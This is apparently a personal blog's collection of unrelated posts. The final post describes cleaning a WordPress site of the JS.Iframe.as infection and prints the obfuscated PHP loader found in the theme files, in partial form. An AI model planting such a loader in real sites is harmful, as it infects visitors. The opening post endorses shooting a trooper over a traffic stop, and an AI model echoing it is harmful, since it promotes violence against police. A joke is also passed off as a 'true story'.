Story from a Minnesota State Trooper

The following story came across my desk today:

I made a traffic stop on an elderly lady the other day for speeding on MN State Hightway 210 just East of McGregor, MN.

I asked for driver’s license, registration, and proof of insurance.

The lady took out the required information and handed it to me. In with the cards I was somewhat surprised (due to her advanced age) to see she had a Conceal Carry Permit. I looked at her and asked if she had a weapon in her possession at this time.

She responded that she indeed had a .45 automatic in her glove box. Something – body language, or the way she said it – made me want to ask if she had any other firearms.

She did admit to also having a 9mm Glock in her center console. Now I had to ask one more time if that was all.

She responded once again that she did have just one more, a .38 special in her purse. I then asked her what she was so afraid of.

She looked mew right in the eye and said, “Not a f—ing thing!”

On first sight, this looks like a funny story. But in my eyes there is some much wrong with it that we can really learn a lot from it.

The first, and most obvious is the elderly lady’s willingness to submit unquestioning to those she claims not to be afraid of. Why doesn’t she just use all that hardware on the person who stopped her with the intention to extort some money from her.

I don’t know if she was actually driving recklessly, endangering others so that the trooper had to intervene to save life and property of others, or if he was enforcing some random rules made by some men in black robes. Looking at the alleged location of this story…

… the second reason seems more likely.

Examining our own reaction this story allows us to learn to understand the real problem. We find this story funny but only because we all agree with the idea that what the trooper did was correct. Beside stopping her with the intend of robbing her for some made-up reason (speed limit), we are also not appalled by his inquiry into her exercising her rights that are already confirmed by the troopers superiors. She has a carry permit, so she can carry whatever she wants and does not have to answer to any lowly enforcer’s questions.

The only reasonable answer to the enforcer’s very first question should have been “None of your f—ing business!” But she probably knew that the only reaction to that answer would have been to be dragged out of the car and her acting upon her later statement of not being afraid of nobody. And that would have been the end of that trooper and we would have never heard of that story.

We might have heard it in a different way, as, for example, that a vicious female in Minnesota had murdered a trooper just doing his duty and the swat team that had been called in to hunt down this murderous beast had shot her 86 times – and only because the avengers ran out of bullets.

One question to leave you with – did you stumble over the trooper’s wording of “She did admit to also having…” or did you just read over this? If you did read over this without a serious growl in your throat then I have to sadly give it to you that you also consider yourself chattel of the ruling class.

A new look for Universal Serenity

I love a good challenge.

And one of those was a few years back to build my new site Universal Serenity with Joomla. It was a whole new set of design principles and admin tool to learn but I did manage and managed to customized the template.

I learned about Joomla when it was just coming out with version 1.5 and initially many of the extensions were not available for this version, some are not tested well, and that made for a fast update cycle.

Early on I had decided that this site was to be very user interactive and so I invested into the extension JomSocial which adds facebook-like functionality to the site. Now I had to deal with two different update cycles and that turned out to take quite a bit of time.

Maybe this was one of the reasons that I did not work too much on the site to build it up to the point where I could really start to promote it. One other reason was that I had some nasty server crash – with insufficient backups – and I had to partially rebuild the site.

Reaching today – there was another big update necessary as the version 1.5 is coming to its end-of-life soon. I had skipped 1.6 but now it was time for 1.7, soon to be followed 2.5 (which was previously planned to be 1.8). This transition was more of a migration than an update as many internals had changed. But I got this handled in a day and that included scrapping the theme and starting with another, more modern, one.

I had run into a photo that I liked a lot and so that became the new face of the site. I also started now to work on blog posts within this site, and I called this part of the site Merlin’s Notes.

So far, Google does not come by enough to notice new post quickly, and one of the reasons for the post you are reading now is to change that, simply because Google appreciates MerlinSilk.com more and comes by way more often.

Let me know what you think of the new look and feel.

Claiming this Blog on Technorati

This blog, the Magic of Life – A7KF79FFCMW3 – is not my first blog, but it is by far the one with the most posts and actually has developed from the very first blog, published on the New Civilization Network as Zensory.com.

Today I noticed that I had not claimed this blog as my own on Technorati. I remedied this situation and the process of claiming a blog requires me to post a blog post that contains a code that technorati assigned to me.

The purpose of this post is to tell technorati – yes – this is my blog – and my claim token is the beautiful

A7KF79FFCMW3

Now I stand back and see how long it will take – technorati already told me that they have a backlog and it might take a while – just have no idea how many seconds, minutes, days, weeks, months, years “a while” actually is.

The Idea of Freedom is definitely not new

I always equated Charlie Chaplin with comedy, but when I look back, the most memorable scene I remember, is a bitter-sweet scene from City Lights. In fact, beside some shorter clips on TV I did not actually see much of his work.

But after seeing his speech in The Great Dictator I have to change that. I was surprised that this movie is actually not available on Netflix.

Proof of Presidency

The following true story is told about Mr. Obama, but I believe it applies to each and every (career-) politician out there:

President Obama walks into the Bank of America to cash a check. As he approaches the cashier he says, “Good morning Ma’am, could you please cash this check for me?”

Cashier: “It would be my pleasure sir. Could you please show me your ID?”

Obama: “Truthfully, I did not bring my ID with me as I didn’t think there was any need to. I am President Barack Obama, the president of the United States of AMERICA!!!!”

Cashier: “Yes sir, I know who you are, but with all the regulations and monitoring of the banks because of impostors and forgers and requirements of the Dodd/Frank legislation, etc., I must insist on seeing ID.”

Obama: “Just ask anyone here at the bank who I am and they will tell you. Everybody knows who I am.”

Cashier: “I am sorry Mr. President but these are the bank rules and I must follow them.”

Obama: “I am urging you, please, to cash this check.”

Cashier: “Look Mr. President this is what we can do: One day, Tiger Woods came into the bank without ID. To prove he was Tiger Woods he pulled out his putter and made a beautiful shot across the bank into a cup. With that shot we knew him to be Tiger Woods and cashed his check.”

“Another time, Andre Agassi came in without ID. He pulled out his tennis racquet and made a fabulous shot whereas the tennis ball landed in my cup. With that shot we cashed his check.”

“So, Mr. President, what can you do to prove that it is you, and only you, as the President of the United States?”

Obama stood there thinking, and thinking and finally says: “Honestly, my mind is a total blank… there is nothing that comes to my mind. I can’t think of a single thing. I have absolutely no idea what to do.”

Cashier: “Will that be large or small bills, Mr. President?”

This, Jen, is the Internet – the IT Crowd

The first time I heard about the IT Crowd was from Cory Doctorow in one of his BoingBoing posts. Thanks to pirates I was able to watch the show despite not being in the UK, and I was instantly hooked on the show.

After a few seasons I re-visited the IT Crowd in one of my posts from 2009 but now, finally, there are some clips of it on the interweb, so that, for all of you who don’t know these master pieces of television yet, I can share some of the highlights.

Here is one of the best scenes – EVER!

Violins and hot chicks

I reported about the violinist Vanessa Mae in the past and just have to revisit the subject now that another YouTube sensation has crossed my 32-inch monitor (yes, I am using an HD TV as my day-to-day monitor instead of investing in some reading glasses).

If you haven’t clicked through to the other link yet, here is what I mean when I say Vanessa Mae…

And then we have the bubbly Lindsey Stirling who combines violin play with a very unique type of dancing. I am just blown away by how you can hop around so wildly and then play the violin without missing a beat…

She seems to be a real member of the new YouTuber crowd, offering something worth spending your time on and maintaining a light and fluffy communication with the fans. I like it when an artist understands that this friendly contact is way better than being aloof.

A Tojan of the name JS.Iframe.as going to osa.pl

This is only the second time that one of my site was hacked – not bad for how long I am doing this type of stuff.

Took me a while, amongst other things, because the location of my server changed due to a data-center consolidation. So it was not quite that easy to know why things were going wrong – was it the hack or was it some configuration problem with the new IP?

But eventually all turned out fine and the site is working properly again. As I looked around the net quite a bit and did not find a good solution, I thought I share here in the hope that it might help another soul at some time.

First indication was a report from a message board having deleted a link to the site in question that it was distributing malware. I had not seen anything wrong and my anti virus stuff never told me anything, so the first reaction was to disregard it. But then suddenly I got a message from AVast that it had blocked a bad-bad URL. Now I knew something was wrong. The bad URL was a random subdomain on the top-levelĀ  “osa.pl” – but a grep over the site did not bring anything about osa or .pl. Then I received another report from my VPS host that this was the JS.Iframe.as trojan.

Not much luck on the net finding info how that might look on infected web sites so that I could start trusty old grep.

Looked a lot through the database dump for clues – forgot to tell, this was a site with a wordpress blog used as CMS – no luck!

Ended up swapping out all the WP code, and updating php to 5.3.8 because some of the info I had found about the osa.pl were indicating that a vulnerability in the 5.2.17 I ran were at fault. None made a difference. I had disabled all plugins – that did not make a difference either – where else could it be?

Finally the good idea came and I should have looked there first: a diff over the theme I was using with an installation that used the same finally gave a long list of differences in a few files – mostly index.php, header.php and footer.php – the code added to the end of these files was:

<?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = “7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZlTz5mROtHWHdWfRt0Zupm
VRNTU2Y2MVZkT8h1Rn1XULdmbqxGU7h1Rn1XULdmbqZVUzElNmNTVGxEeNt1Zzk
FcmJyJuUTNyZGJuciLxk2cwRCLiICKuVHdlJHJn4SNykmckRiLnsTKn4iInIiLnAkdX5Uc2
…and so on
= “\x65\144\x6f\154\x70\170\x65”;$eva1tYldakBcVSir = “\x73\164\x72\162\x65\166”;$eva1tYldakBoVS1r = “\x65\143\x61\154\x70\145\x72\137\x67\145\x72\160”;$eva1tYidokBoVSjr = “\x3b\51\x29\135\x31\133\x72\152\x53\126\x63\102\x6b\141\x64\151\x59\164\x31\141\x76\145\x24\50\x65\144\x6f\143\x65\144\x5f\64\x36\145\x73\141\x62\50\x6c\141\x76\145\x40\72\x65\166\x61\154\x28\42\x5c\61\x22\51\x3b\72\x40\50\x2e\53\x29\100\x69\145”;$eva1tYldokBcVSjr=$eva1tYldakBcVSir($eva1tYldakBoVS1r);$eva1tYldakBc
VSjr=$eva1tYldakBcVSir($eva1tYlbakBcVSir);$eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir);$eva1tYXdakAcVSjr = $eva1tYidakBcVSjr[0.031*0.061];$eva1tYidokBcVSjr = $eva1tYldakBcVSjr(chr(3625*0.016), $eva1tYidokBoVSjr);$eva1tYldokBcVSjr($eva1tYidokBcVSjr[0.016*(7812.5*0.016)],$eva1tYidokBcVSjr[62.5*0.016],$eva1tYldakBcVSir($eva1tYidokBc
VSjr[0.061*0.031]));$eva1tYldakBcVSir = “”;$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;$eva1tYldakBcVSir = “\x73\164\x72\x65\143\x72\160\164\x72”;$eva1tYlbakBcVSir = “\x67\141\x6f\133\x70\170\x65”;$eva1tYldakBoVS1r = “\x65\143\x72\160”;$eva1tYldakBcVSir = “”;$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} ?>

Removing these lines from the end of the theme filed did the job. Then I obviously changed all the file permission to not allow apache to change those files any more.

Last decree was to change the password of the owner of the site and reduce him from an admin to an editor – and tell him to scan his computer.

Now I just have to send him an email with his new password.

Hope this might help somebody sometime.